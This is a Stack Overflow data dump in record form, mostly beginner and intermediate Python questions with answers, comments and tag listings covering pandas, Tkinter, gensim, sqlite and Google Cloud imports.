has body: Compiler says TypeError: 'str' object is not callable when trying to execute program. What does this mean and how do I remedy the problem? Also I'm trying to use sep but it returns an error for that too. Code will follow. Thank you for all recommendations class dog: def __init__(self, name, breed, owner): self.name = name self.breed = breed self.owner = owner def bark(self): print(self.name, "barks.") def breed(self): print(self.name, "is a", self.breed) def owner(self): print(self.name, "'s owner is ", self.owner, sep='') d1 = dog("Tommy", "Terrier", "Mary") d1.bark() d1.breed() d1.owner() d2 = dog("Johnny", "Bloodhound", "Alex") d2.bark() d2.breed() d2.owner() Edit: Thank you Simon for solution. Updated code: class dog: def __init__(self, name, breed, owner): self.name = name self.breed = breed self.owner = owner def speak(self): print(self.name, "barks.") def identify(self): print(self.name, "is a", self.breed) def relation(self): print(self.name, "belongs to", self.owner) d1 = dog("Tommy", "Terrier", "Mary") d1.speak() d1.identify() d1.relation() d2 = dog("Johnny", "Bloodhound", "Alex") d2.speak() d2.identify() d2.relation() This is working as intended, however it's printing weird. This is the output I'm getting: ('Tommy', 'barks.') ('Tommy', 'is a', 'Terrier') ('Tommy', 'belongs to', 'Mary') ('Johnny', 'barks.') ('Johnny', 'is a', 'Bloodhound') ('Johnny', 'belongs to', 'Alex') Any idea how I can strip the parentheses etc.?
type: UnansweredQuestion
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48778019

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/48787749
tags question: http://stackoverflow.com/q/48667035
tags question: http://stackoverflow.com/q/48782591

http://stackoverflow.com/q/48801028
has title: Creating powerpoint from multiple Excel files using Python
has comment: http://stackoverflow.com/comment/84604893
has comment: http://stackoverflow.com/comment/84604813
score: 0
favorite count: 0
answer count: 0
upvote count: 2
type: UnansweredQuestion
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/84604714
has comment: http://stackoverflow.com/comment/84605337
has comment: http://stackoverflow.com/comment/84604788
has comment: http://stackoverflow.com/comment/84604996
has body: I am working on creating a pptx file from multiple XL files using Python. Each XL file has multiple worksheets. Each worksheet has few table(3-4) and few graphs(3-4). Now the final output pptx has a fixed template and i need to get these graphs and headings in the final file. Please advise if there is any available code that i can refer. Thanks Sachin
has comment: http://stackoverflow.com/comment/84605307
type: Question

http://stackoverflow.com/q/48705138
tagged with: gensim
has body: I noticed that when adding documents to a gensim Dictionary, execution time jumps from 0.2s to more than 6s when reaching 2 million words. The code below is a quick example. I loop through int and add the number to the dictionary at each iteraion. from gensim import corpora import time dict_transcript = corpora.Dictionary() for i in range(1,10000000): start_time = time.time() doc = [str(i)] dict_transcript.add_documents([doc]) print("Iter "+str(i)+" done in " + str(time.time() - start_time) + ' w/ '+str(len(doc)) + ' words and dico size ' + str(len(dict_transcript))) I do get the following output when reaching 2 million words: Iter 1999999 done in 0.0 w/ 1 words and dico size 1999999 Iter 2000000 done in 0.0 w/ 1 words and dico size 2000000 Iter 2000001 done in 0.0 w/ 1 words and dico size 2000001 Iter 2000002 done in 7.940511226654053 w/ 1 words and dico size 2000001 Is there any reason why? And does anyone know how to bypass that problem? I'm using this dictionary on a big corpus that I tokenize into bigrams so I'm expecting the dictionary to be a few million rows. Many thanks
tagged with: dictionary
tagged with: nlp
accepted answer: http://stackoverflow.com/a/48706010
score: 4
has title: Why adding documents to gensim Dictionary gets slow when reaching 2 million words?
answer count: 1
upvote count: 4
has answer: http://stackoverflow.com/a/48706010
type: AnsweredQuestion
downvote count: 0
favorite count: 0
type: Question
tagged with: python

http://stackoverflow.com/comment/131632859
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/62222676
type: Comment
has text: Another [useful article about pickle](https://towardsdatascience.com/stop-using-csvs-for-storage-pickle-is-an-80-times-faster-alternative-832041bbc199)

http://stackoverflow.com/comment/84413473
has text: Por favor, publique sus preguntas en inglés en Stack Overflow. Si desea publicar en español, intente https://es.stackoverflow.com/
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48707477

http://stackoverflow.com/q/48733373
tagged with: python
has comment: http://stackoverflow.com/comment/84495624
tagged with: qfile
has comment: http://stackoverflow.com/comment/84491907
answer count: 0
has comment: http://stackoverflow.com/comment/84506927
tagged with: pyside
tagged with: pyqt5
type: Question
score: 0
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/84471769
has title: PySide export XML ElementTree from menu - having problems
type: UnansweredQuestion
has body: So, it's not an XML question but a PySide/Menu item. I have a little XML viewer/editor for simple xml files and I want to save resulting xml files. I have included a code snippet here with functionality removed for brevity. The focus I have here is just the menu 'save' function as this is the last thing I seem to be stuck with. I have commented out the hard 'save' link. The hard link works for writing files. If I bypass the QtCore.QFile(filePath) return from the QFile dialog and replace the file path with a hard link, the xlm tree exports as expected. When I use the dialog menu (this is the problem), the os file is opened but nothing is ever written and file size remains as '0' size. Is this a file locking problem maybe? Can't see why the two should not both work and the 'open' side of things (commented out for brevity) works just fine in building and viewing my xml tree. Anyone can help me? It must be soooo obvious but maybe I have been staring at it too long and the problem is straight in front of my eyes! Thanks, #!/usr/bin/env python # using python3 from PySide import QtCore, QtGui from xml.etree.ElementTree import parse, Element class MainWindow(QtGui.QMainWindow): def __init__(self): super(MainWindow, self).__init__() self.fileMenu = self.menuBar().addMenu("&File") self.fileMenu.addAction("&Open...", self.openFile, "Ctrl+O") self.fileMenu.addAction("&Save...", self.saveFile, "Ctrl+S") self.fileMenu.addAction("E&xit", self.close, "Ctrl+Q") #self.xmlPath = "" self.view = QtGui.QTreeView(self) # snippet - edit/view code removed here for brevity self.setCentralWidget(self.view) self.setWindowTitle("XML Editor") self.xmlPath = "" self.fileIn = "" self.fileOut = "" def openFile(self): filePath,_ = QtGui.QFileDialog.getOpenFileName(self, "Open File", self.xmlPath, "XML files (*.xml);;HTML files (*.html);;" "SVG files (*.svg);;User Interface files (*.ui)") if filePath: self.f = QtCore.QFile(filePath) print("Open filePath") print(self.f.fileName()) self.fileIn = self.f…

http://stackoverflow.com/q/48772715
has comment: http://stackoverflow.com/comment/84547263
has title: How can I have the user input only 5 integers/strings a into a list?
has body: My class is starting to add lists into our code. I understand how to have the user input information and loop it forever until the user types 'n' (or something like that) thus exiting the program. My part of my current assignment is to have the user input 5 exam scores, store the scores into a list, and then display the list. How do I have the user input type in ONLY 5 exam scores and store it into a list? Thank you fellow programmers for helping a new student to the coding world.
score: -5
downvote count: 5
type: Question
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/48772780
tagged with: input
has comment: http://stackoverflow.com/comment/84546957
tagged with: python
has answer: http://stackoverflow.com/a/48772932
favorite count: 0
tagged with: list
type: UnansweredQuestion

http://stackoverflow.com/a/48757332
downvote count: 0
has body: For example here is a label: widgetname = tk.Label(text = "Hello World").pack() You can use the destroy() property to permanently remove it. This cannot be retrieved and the widget would need to be defined again. widgetname.destroy() A complete example can be found here Or you can use pack_forget() to hide the element. You just need to use pack() or grid() again to show it again widgetname.pack_forget() See this page
type: Answer
answers question: http://stackoverflow.com/q/48757284
upvote count: 1
score: 1

sensors
type: Tag
tag name: sensors
tags question: http://stackoverflow.com/q/48691203

http://stackoverflow.com/q/48734455
has comment: http://stackoverflow.com/comment/84468374
has title: Reading imported csv files in sqlite from python
has comment: http://stackoverflow.com/comment/84469027
has comment: http://stackoverflow.com/comment/84469003
tagged with: database
answer count: 0
has comment: http://stackoverflow.com/comment/84469135
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84472035
has comment: http://stackoverflow.com/comment/84469058
has comment: http://stackoverflow.com/comment/84472051
tagged with: http://stackoverflow.com/tag/csv
tagged with: sqlite
has comment: http://stackoverflow.com/comment/84469115
has comment: http://stackoverflow.com/comment/84468690
type: Question
score: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84468940
has comment: http://stackoverflow.com/comment/84468954
has body: I have imported a csv file to sqlite using the command line window. My table exists under the name consumer_complaints when I search for it in sqlite. Now, I'm trying to see this file via Python by using the below command: import sqlite3 as lite con = lite.connect("consumer_complaints.sqlite") with con: cur = con.cursor() cur.execute("SELECT * FROM consumer_complaints") rows=cur.fetchall() for row in rows: print(row) However, it gives me an error saying the table doesn't exist. What may be the problem?
has comment: http://stackoverflow.com/comment/84469105
has comment: http://stackoverflow.com/comment/84468819

http://stackoverflow.com/q/48690433
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48690498
type: UnansweredQuestion
upvote count: 1
tagged with: python
downvote count: 1
linked to: http://stackoverflow.com/q/5967500
has comment: http://stackoverflow.com/comment/84378949
has comment: http://stackoverflow.com/comment/84379356
type: Question
has body: I have a simple question of sorting lists based on values. I want to order a list of strings as they are integers, and consider for sorting just the characters that are starting on second position. As an example, I have this list: L = ['X102', 'X201', 'X805', 'X111', 'X032', 'X155', 'X0123', 'X1113', 'X881', 'X1022'] if I sort it using sorted(L) I get: ['X0123', 'X032', 'X102', 'X1022', 'X111', 'X1113', 'X155', 'X201', 'X805', 'X881'] My struggle is to sort the list just considering the "integers", so just the numbers are after 'X' in order that the result to look like this: SORTED_L = ['X032', 'X102', 'X111', 'X0123', 'X155', 'X201', 'X805', 'X881', 'X1022', 'X1113']
duplicate of: http://stackoverflow.com/q/5967500
linked to: http://stackoverflow.com/q/4836710
tagged with: sorting
has comment: http://stackoverflow.com/comment/84378927
has title: sorting a list of strings as they are integers
score: 0
duplicate of: http://stackoverflow.com/q/4836710

http://stackoverflow.com/comment/84527189
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48763321
type: Comment
has text: "I am only allowed to use higher order functions such as lambda, filter, map, and reduce."-- but this uses `tuple()` ;)

pivot-table
tag name: pivot-table
tags question: http://stackoverflow.com/q/48803022
tags question: http://stackoverflow.com/q/48695396
tags question: http://stackoverflow.com/q/48788970
tags question: http://stackoverflow.com/q/48736761
type: Tag

http://stackoverflow.com/q/48660533
tagged with: list
has title: How can I spread a list of strings repectively?
has body: Given an input list as: l=[["A","B"],["C","D","E"],["F","G"]] What I wanted to make with this list is: o = ["ACF", "ACG", "ADF", "ADG", "AEF", "AEG", "BCF", "BCG", "BDF", "BDG", "BEF", "BEG"] At first, I tried to generate a list of len, and multiple with standard function reduce and functools's mul. ls = list(map(len,l)) ll = ["" for i in range(reduce(mul, ls, 1))] Next, I don't have efficient or "pythonic" idea to solve this. By the way, this seems to be similar problem with tree traversal, but I thought this is multiple-parent tree or problem related to graph implementation. For efficiency in memory issue to deal with a huge list of lists, how can I solve this with python generator by using directed graph or any other algorithm?
tagged with: graph
downvote count: 0
has answer: http://stackoverflow.com/a/48660580
type: AnsweredQuestion
score: 1
favorite count: 0
type: Question
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/48660580
answer count: 1
tagged with: tree

shell
tags question: http://stackoverflow.com/q/48720753
tags question: http://stackoverflow.com/q/48727604
tags question: http://stackoverflow.com/q/48793272
tags question: http://stackoverflow.com/q/48754537
tags question: http://stackoverflow.com/q/48654011
tags question: http://stackoverflow.com/q/48772622
tag name: shell
tags question: http://stackoverflow.com/q/48712194
tags question: http://stackoverflow.com/q/48733200
tags question: http://stackoverflow.com/q/48740390
tags question: http://stackoverflow.com/q/48750115
tags question: http://stackoverflow.com/q/48649593
tags question: http://stackoverflow.com/q/48757647
type: Tag
tags question: http://stackoverflow.com/q/48682262
tags question: http://stackoverflow.com/q/48694812
tags question: http://stackoverflow.com/q/48738186

http://stackoverflow.com/comment/84468585
type: Comment
has text: @DeathPox I find list more natural for this because that's what you'll get if you read CSVs.
comment on: http://stackoverflow.com/a/48734616
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84732590
has text: @DebanjanB I gave best answer to the question which helped me the most in the other thread.. I still didn't get the issue to work. Could you have a 2nd look please?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48766362
score: 0

http://stackoverflow.com/q/48675195
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84385440
has body: I am trying to get possible numbers from 1 to n, given 4 numbers. by adding or subbtracting 2 or more of the 4 numbers. e.g. it goes into loop for numlist(1,2,3,16). Below is the code: def numlist(a,b,c,d): #user input of 4 numbers a,b,c,d # assigning variables value of -1. This will be used to provide -1 or +1 or 0 p=-1 q=-1 r=-1 s=-1 count=0 myarray=[] mysum=a+b+c+d #sum of given 4 numbers for x in range(mysum): while count&lt;mysum: if p&lt;=1: if q&lt;=1: if r &lt;=1: if s&lt;=1: n1=p*a+q*b+r*c+s*d #number to be generated by adding/subtracting s=s+1 #print(n1) if n1&gt;0 and (n1 in myarray)==False: #print(n1) myarray.append(n1) #add to myarray if number is positive and not already present myarray.sort() #sort myarray count=count+1 if count==mysum: break else: s=-1 r=r+1 else: r=-1 q=q+1 else: q=-1 p=p+1 else: p=-1 print(len(myarray),'total') print(myarray) numlist(1,3,4,14) outputs [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22] but if numlist(1,3,4,19) it keeps running without ending in output of array. only shows total. where am I going wrong ?
possible better answer: http://stackoverflow.com/a/48695976
tagged with: python-3.x
tagged with: python
type: AnsweredQuestion
type: Question
tagged with: algorithm
score: -2
has title: how to get list of numbers by adding or subtracting given 4 numbers in python
has comment: http://stackoverflow.com/comment/84390590
has comment: http://stackoverflow.com/comment/84389716
has comment: http://stackoverflow.com/comment/84385334
has answer: http://stackoverflow.com/a/48675346
accepted answer: http://stackoverflow.com/a/48675346
has comment: http://stackoverflow.com/comment/84350492
answer count: 2
has answer: http://stackoverflow.com/a/48695976
downvote count: 3

http://stackoverflow.com/q/48771734
upvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48771844
has comment: http://stackoverflow.com/comment/84544735
favorite count: 0
type: UnansweredQuestion
tagged with: legend
tagged with: python
linked to: http://stackoverflow.com/q/7125009
has body: I am trying to format my graph nicely, but I can't figure out how to scale down the legend picture of my line. Is there a simple way to make that GDP legend line smaller? Thank you. See picture here [Code][2] #setting size arrays scatterSize = [] for eachGDP in gdp: size = abs(eachGDP)*300 scatterSize.append(size) ax.scatter(y_pos, gdp, color = 'purple', linewidth = .5, s = scatterSize, label = 'GDP') plt.legend(loc = 'upper left',prop={'size': 10})
duplicate of: http://stackoverflow.com/q/7125009
downvote count: 1
type: Question
tagged with: format
tagged with: matplotlib
has title: Smaller legend keys Matplotlib
score: -1

http://stackoverflow.com/q/48702846
has comment: http://stackoverflow.com/comment/84404266
has comment: http://stackoverflow.com/comment/84404054
tagged with: python
has body: Say we have a dataframe set up as follows: x = pd.DataFrame(np.random.randint(1, 10, 30).reshape(5,6), columns=[f'col{i}' for i in range(6)]) x['col6'] = np.nan x['col7'] = np.nan col0 col1 col2 col3 col4 col5 col6 col7 0 6 5 1 5 2 4 NaN NaN 1 8 8 9 6 7 2 NaN NaN 2 8 3 9 6 6 6 NaN NaN 3 8 4 4 4 8 9 NaN NaN 4 5 3 4 3 8 7 NaN NaN When calling x.shift(2, axis=1), col2 -&gt; col5 shifts correctly, but col6 and col7 stays as NaN? How can I overwrite the NaN in col6 and col7 values with col4 and col5's values? Is this a bug or intended? col0 col1 col2 col3 col4 col5 col6 col7 0 NaN NaN 6.0 5.0 1.0 5.0 NaN NaN 1 NaN NaN 8.0 8.0 9.0 6.0 NaN NaN 2 NaN NaN 8.0 3.0 9.0 6.0 NaN NaN 3 NaN NaN 8.0 4.0 4.0 4.0 NaN NaN 4 NaN NaN 5.0 3.0 4.0 3.0 NaN NaN
type: AnsweredQuestion
downvote count: 0
score: 6
type: Question
has title: pandas shift rows NaNs
has comment: http://stackoverflow.com/comment/84404499
accepted answer: http://stackoverflow.com/a/48702981
upvote count: 6
tagged with: pandas
has answer: http://stackoverflow.com/a/48702981
answer count: 1
favorite count: 0

http://stackoverflow.com/a/48738839
upvote count: 1
answers question: http://stackoverflow.com/q/48738684
has comment: http://stackoverflow.com/comment/100073954
type: AcceptedAnswer
downvote count: 0
has body: You can use a regular expression to extract the fragment of interest: import re pattern = r"Average = (\d+\S+)" re.findall(pattern, output[0].decode())[0] #'17ms'
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/48738684

http://stackoverflow.com/a/48753199
has body: found the solution for this issue . For mcrypt.h, libmcrypt-dev needs to install by following command sudo apt-get install libmcrypt-dev after installing with above command python-crypt got install successfully with below command pip install http://labix.org/download/python-mcrypt/python-mcrypt-1.1.tar.gz
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/48717438
answers question: http://stackoverflow.com/q/48717438
upvote count: 1

http://stackoverflow.com/a/48718060
type: Answer
answers question: http://stackoverflow.com/q/48717928
accepted answer of: http://stackoverflow.com/q/48717928
has comment: http://stackoverflow.com/comment/84435158
has body: For the content you are dweeting with the name as my_thing_name, let us assume that you have dweet_for() as follows initially dweepy.dweet_for('my_thing_name', {'mouse_x': 271, 'mouse_y': 285, 'tilt_x': 0, 'tilt_y': 0, 'tilt_z': 82}) Which creates a dweet with name as my_thing_name. Now when you query for the dweet using dweepy.get_latest_dweet_for() you are returned a dictionary as follows a = dweepy.get_latest_dweet_for('my_thing_name') Result is a list of object whose keys are content, thing and created. For retrieving the content for key mouse_x you need to access the object inside the dweet response's content dictionary. [{u'content': {u'mouse_y': 285, u'mouse_x': 271, u'tilt_z': 82, u'tilt_x': 0, u'tilt_y': 0}, u'thing': u'my_thing_name', u'created': u'2018-02-10T06:39:53.715Z'}] This can be done by doing a[0]['content']['mouse_x'] which will return the value 271. This will however work only with the first dweet object. If there are multiple objects returned you can loop through the items and access the mouse_x value by using a[i]['content']['mouse_x'] where i corresponds to the index of the items. &gt;&gt;&gt; a[0]['content']['mouse_x'] 271
type: AcceptedAnswer
score: 0

http://stackoverflow.com/a/67293344
has body: Try changing "https://localhost:8000/api/test" to "http://localhost:8000/api/test".
type: Answer
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/48793799
score: 0

nginx
tags question: http://stackoverflow.com/q/48715039
tag name: nginx
tags question: http://stackoverflow.com/q/48767975
tags question: http://stackoverflow.com/q/48685830
type: Tag
tags question: http://stackoverflow.com/q/48654611
tags question: http://stackoverflow.com/q/48714529
tags question: http://stackoverflow.com/q/48757083
tags question: http://stackoverflow.com/q/48700404
tags question: http://stackoverflow.com/q/48749456
tags question: http://stackoverflow.com/q/48744884

http://stackoverflow.com/q/48792664
possible better answer: http://stackoverflow.com/a/50116354
tagged with: google-cloud-platform
has answer: http://stackoverflow.com/a/61970294
downvote count: 0
answer count: 7
has answer: http://stackoverflow.com/a/64745794
favorite count: 0
has answer: http://stackoverflow.com/a/48827581
has title: ImportError: No module named google.oauth2
has body: I wanted to add a google.cloud.storage dependency to my project so I tried to install this dependency with pip install --upgrade google-cloud-storage Running my app again with dev_appserver, it shows me that my gcloud components needed to be updated. Ok so, gcloud components update And in my src/__init__.py file, I got the code that tells gcloud in which folder to look for dependencies like this: from google.appengine.ext import vendor vendor.add('src/libs') All the dependencies are installed correctly, except that I'm getting the error ImportError: No module named google.oauth2 PS: My app is using OAuth2 to secure access to the API. And it was working correctly before I do a components update, now even if I rollback code, remove the libs folder and install again dependencies, I still got the No module error, and it seems like dev_appserver is not looking for that dependency inside the libs folder ! Here's the result of gcloud --version: Google Cloud SDK 188.0.1 app-engine-python 1.9.66 app-engine-python-extras 1.9.63 bq 2.0.28 core 2018.02.08 gsutil 4.28 And here's the Traceback: Traceback (most recent call last): File "/home/login/google-cloud-sdk/platform/google_appengine/google/appengine/runtime/wsgi.py", line 240, in Handle handler = _config_handle.add_wsgi_middleware(self._LoadHandler()) File "/home/login/google-cloud-sdk/platform/google_appengine/google/appengine/runtime/wsgi.py", line 299, in _LoadHandler handler, path, err = LoadObject(self._handler) File "/home/login/google-cloud-sdk/platform/google_appengine/google/appengine/runtime/wsgi.py", line 96, in LoadObject __import__(cumulative_path) File "/home/headless/Documents/Projects/meterFleet/app-backend/src/main.py", line 5, in &lt;module&gt; from src.app.user.api import UserApi File "/home/headless/Documents/Projects/meterFleet/app-backend/src/app/user/api.py", line 7, in &lt;module&gt; from src.googleapis.iam import getIamPolicy, addIapUser, deleteIapUser File "/home/headless/Documents/Projects/meterFl…
has answer: http://stackoverflow.com/a/74278253
tagged with: google-app-engine
tagged with: python
score: 18
has answer: http://stackoverflow.com/a/76570764
has comment: http://stackoverflow.com/comment/139734801
accepted answer: http://stackoverflow.com/a/48827581
type: AnsweredQuestion
tagged with: google-cloud-sdk
has answer: http://stackoverflow.com/a/53918707
has answer: http://stackoverflow.com/a/50116354
upvote count: 18
type: Question

http://stackoverflow.com/q/48658952
tagged with: cumsum
has body: I have a series that contains NaN and True as a value. I want another series to generate a sequence of number, such that whenever NaN comes put that series value as 0 and In between of Two NaN rows I need to perform cumcount. i.e., Input: colA NaN True True True True NaN True NaN NaN True True True True True Output ColA Sequence NaN 0 True 0 True 1 True 2 True 3 NaN 0 True 0 NaN 0 NaN 0 True 0 True 1 True 2 True 3 True 4 How to perform this in pandas?
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84315422
has answer: http://stackoverflow.com/a/48659002
upvote count: 10
score: 9
tagged with: boolean
has answer: http://stackoverflow.com/a/48675644
has answer: http://stackoverflow.com/a/48659071
favorite count: 0
has answer: http://stackoverflow.com/a/48659066
tagged with: pandas
accepted answer: http://stackoverflow.com/a/48659002
has comment: http://stackoverflow.com/comment/84315464
tagged with: python
has title: How to generate sequence considering NaN in pandas
answer count: 4
tagged with: nan
possible better answer: http://stackoverflow.com/a/48659066
type: AnsweredQuestion

http://stackoverflow.com/q/48687009
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
score: 1
has title: Python - Error in two-layer neural network
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48689302
tagged with: neural-network
has body: I am trying to implement a 2-layer neural network from scratch. But there is something wrong. After some iterations, my loss becomes nan. ''' We are implementing a two layer neural network. ''' import numpy as np x,y = np.random.rand(64,1000),np.random.randn(64,10) w1,w2 = np.random.rand(1000,100),np.random.rand(100,10) learning_rate = 1e-4 x -= np.mean(x,axis=0) #Normalizing the Training Data Set for t in range(2000): h = np.maximum(0,x.dot(w1)) # Applying Relu Non linearity ypred = h.dot(w2) #Output of Hidden layer loss = np.square(ypred - y).sum() print('Step',t,'\tLoss:- ',loss) #Gradient Descent grad_ypred = 2.0 * (ypred - y) gradw2 = (h.transpose()).dot(grad_ypred) grad_h = grad_ypred.dot(w2.transpose()) gradw1 = (x.transpose()).dot(grad_h*h*(1-h)) w1 -= learning_rate*gradw1 w2 -= learning_rate*gradw2 I also implemented Linear Regression using a Softmax classifier and multi-class SVM loss. Same problem happens. Please tell me how to resolve this. Output: D:\Study Material\Python 3 Tutorial\PythonScripts\Machine Learning&gt;python TwoLayerNeuralNet.py Step 0 Loss:- 19436393.79233052 Step 1 Loss:- 236820315509427.38 Step 2 Loss:- 1.3887002186558748e+47 Step 3 Loss:- 1.868219503527502e+189 Step 4 Loss:- inf TwoLayerNeuralNet.py:23: RuntimeWarning: invalid value encountered in multiply gradw1 = (x.transpose()).dot(grad_h*h*(1-h)) TwoLayerNeuralNet.py:12: RuntimeWarning: invalid value encountered in maximum h = np.maximum(0,x.dot(w1)) # Applying Relu Non linearity Step 5 Loss:- nan Step 6 Loss:- nan Step 7 Loss:- nan Step 8 Loss:- nan Step 9 Loss:- nan Step 10 Loss:- nan Step 11 Loss:- nan Step 12 Loss:- nan Step 13 Loss:- nan Step 14 Loss:- nan Step 15 Loss:- nan Step 16 Loss:- nan Step 17 Loss:- nan Step 18 Loss:- nan Step 19 Loss:- nan Step 20 Loss:- nan

http://stackoverflow.com/comment/111596583
has text: Do you know how to do this for a mac?
type: Comment
comment on: http://stackoverflow.com/a/48647234
score: 2
type: AnswerComment

http://stackoverflow.com/a/48719661
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48719523
has body: This is a bad idea. You can use re, isdigit, split or some other generic functions. But for your use case there are ready-made tools that add structure to your data, rather than turn a date into an alphanumeric variable. Here is an example with pandas library: import pandas as pd today_str = '10-2-2018' pd.to_datetime(today_str, dayfirst=True).day # 10

http://stackoverflow.com/q/48735255
has body: Tkinter Issue In my current project, I experience freezes in Tkinter. Since I am in the process of polishing up, trying to squash bugs in the script, I figured out that these freezes happen when "clicking on stuff" in the console (marking stuff etc.). Accessing other programs (browsing etc.) works just fine. Since I'd like to narrow down (at least) any issues to my sloppy programming, I'd like to know what's the root of the problem or whether I can avoid it. I've read that some freezing issues are due to "threading" ... That I could understand, but the following example is rather simple. The following MWE causes the issue. Steps to reproduce: Run code with python.exe, click button, mark "derp" in the console, watch tkinter freezing. from tkinter import * root = Tk() def start_print(): print('derp') #root.after(6000, start_print) start_button = Button(root, text = 'Derp', command = start_print) start_button.pack() root.mainloop() Thanks in advance! Jan
has comment: http://stackoverflow.com/comment/85443926
favorite count: 0
has comment: http://stackoverflow.com/comment/84558827
has comment: http://stackoverflow.com/comment/84471763
tagged with: python
score: 2
tagged with: tkinter
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84470094
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84558987
has comment: http://stackoverflow.com/comment/84471575
type: Question
has comment: http://stackoverflow.com/comment/84558936
has title: Tkinter unresponsive after clicking on Console
has comment: http://stackoverflow.com/comment/84558957
downvote count: 0

http://stackoverflow.com/q/48745275
favorite count: 0
has answer: http://stackoverflow.com/a/48745624
tagged with: python
linked to: http://stackoverflow.com/q/6554649
has comment: http://stackoverflow.com/comment/84490415
type: AnsweredQuestion
score: 2
tagged with: list
possible better answer: http://stackoverflow.com/a/48745624
has comment: http://stackoverflow.com/comment/84491235
upvote count: 3
has comment: http://stackoverflow.com/comment/84490452
downvote count: 1
type: Question
has title: Convert list of string to List of tuples
has body: I have a list of string as below ['40799\t1890\t11-16-15\n', '40800\t1890\t11-17-15\n', '40801\t1890\t11-18-15\n', '40802\t1890\t11-19-15\n'] Want to convert as below [('40799',1890,'11-16-15'), ('40800',1890,'11-17-15'), ('40801',1890,'11-18-15'), ('40802',1890,'11-19-15')] Tab is the separator for each column. I am able to convert using some loop. But would like to know if it is possible to convert the list using a single command as the list may have lot of items
has comment: http://stackoverflow.com/comment/84490583
tagged with: tuples
has answer: http://stackoverflow.com/a/48745483
has answer: http://stackoverflow.com/a/48745862
answer count: 3
accepted answer: http://stackoverflow.com/a/48745483

http://stackoverflow.com/comment/84352718
score: 4
comment on: http://stackoverflow.com/q/48677298
type: Comment
type: QuestionComment
has text: `url = result['href']`

http://stackoverflow.com/a/48804270
upvote count: 1
answers question: http://stackoverflow.com/q/48802608
downvote count: 0
type: Answer
has body: Since they have given you task and you cann't use built-in methods I would say make a dict for given string and express your solution as:- here = "Super Man" a = {'S':'S','u':'U','p':'P','e':'E','a':'A','n':'N','M':'M','r':'R'} b = '^'.join([a.get(x) for x in here if a.get(x)]) print(b) #expected output S^U^P^E^R^M^A^N
score: 1

http://stackoverflow.com/q/48670500
has comment: http://stackoverflow.com/comment/84338902
type: AnsweredQuestion
downvote count: 3
linked to: http://stackoverflow.com/q/47499988
has comment: http://stackoverflow.com/comment/84339100
type: Question
has body: I have been assigned to create a function that takes 9 numbers and returns the 10th as if it were an ISBN number. I will include the exact directions at the bottom, but, in summary, the last digit must be the sum of the other 9 digits, with the first digit being multiplied by 1, the second by 2, and so on. Here is what I have so far: def isbn_gendigit(isbn): ''' docstring (fill in later) ''' length = 9 last_digit = 0 last_digit = int(isbn[0]) * (length) for i in range(len(isbn)): length - 1 isbn = isbn % 11 last_digit = 11 - isbn print(ISBN + last_digit) return None I know it is far from done and perfect, but I'm having troubles understanding how to approach the problem. I've looked at other similar ISBN-based problems on here, but the few that I saw are far more complex than what I am looking for. Project Directions: ISBN Check Digits The International Standard Book Number (ISBN) is (prior to 2007) a 10-digit code that uniquely specifies a book. The rightmost digit is a checksum digit which can be uniquely determined from the other 9 digits from the condition that d1 + 2d2 + 3d3 + ... + 10d10 must be a multiple of 11 (here di denotes the ith digit from the right). Example: the checksum digit corresponding to 020131452d10 is the only value of d10 is between 0 and 10 – and that would be: 1*0 + 2*2 + 3*0 + 4*1 + 5*3 + 6*1 + 7*4 + 8*5 + 9*2 + 10*d10 which is a multiple of 11. To calculate d10: Find 1*0 + 2*2 + 3*0 + 4*1 + 5*3 + 6*1 + 7*4 + 8*5 + 9*2) = 115 then find the remainder of 115%11 = 5 which is the value of the10th digit d10 = 5. So, the 10 digit ISBN is now 0201314525 - and we can check and see that (115+10*5)%11 = 0 is true. Using the function design recipe, define a Python function, isbn_gendigit, with one parameter, isbn, a 9-digit string. The function should compute the check digit for a given ISBN, and then print out the 10-digit ISBN. isbn_gendigit will return the value None (end of the function, type “return None”). Test your function on the following e…
accepted answer: http://stackoverflow.com/a/48670948
upvote count: 0
answer count: 1
favorite count: 0
has title: ISBN Check Digits Project Finding 10th Digit
has answer: http://stackoverflow.com/a/48670948
score: -3
tagged with: python

http://stackoverflow.com/comment/84437578
type: Comment
has text: I'm using CharField, however i changed it to TextField now and it's till giving me the same error
comment on: http://stackoverflow.com/a/48719322
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84393429
has text: awesome, sounds like a plan. In that case what I will likely do is rebuild the entire airflow server from scratch with 1.9. Bear with me for a week or so. If that fixes the problem I will come back here and give you the upvote this answer deserves.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48694948
type: Comment

http://stackoverflow.com/comment/84516694
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48757530
